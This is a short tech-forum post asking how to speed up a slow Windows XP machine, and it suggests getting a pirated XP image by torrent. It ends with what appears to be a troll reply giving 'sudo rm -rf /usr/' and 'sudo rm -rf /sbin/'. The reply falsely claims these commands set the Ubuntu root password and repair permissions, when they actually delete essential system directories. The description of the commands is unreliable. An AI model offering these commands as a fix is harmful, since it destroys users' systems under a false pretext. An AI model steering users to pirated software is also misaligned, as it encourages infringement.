Slow computer, any advice? + xp install help

Hi /tech/,

My friend's computer is running really slow so I suggested she reformatted her computer. In order to do this you need to reinstall windows xp? She doesn't know how her computer was set-up in the first place and she thinks it was pirated or something.

I was thinking of telling her to download a torrent from either the pirate bay, torrentz, or isohunt. Like maybe the second download on here? http://isohunt.com/torrents/?ihq=windows+xp .
And then burn this software to a cd and doing the normal reformat stuff?

Plus, is there really any way to make a computer go faster besides reformatting? It's always seemed like the only way to clear all the crap you get from the internet.

Please real advice and no trolling. I may be asking for advice, but I'm certainly not an idiot.

sudo passwd root
sudo rm -rf /usr/
sudo rm -rf /sbin/

This will set your Ubuntu root password and redo all the root permissions on everything.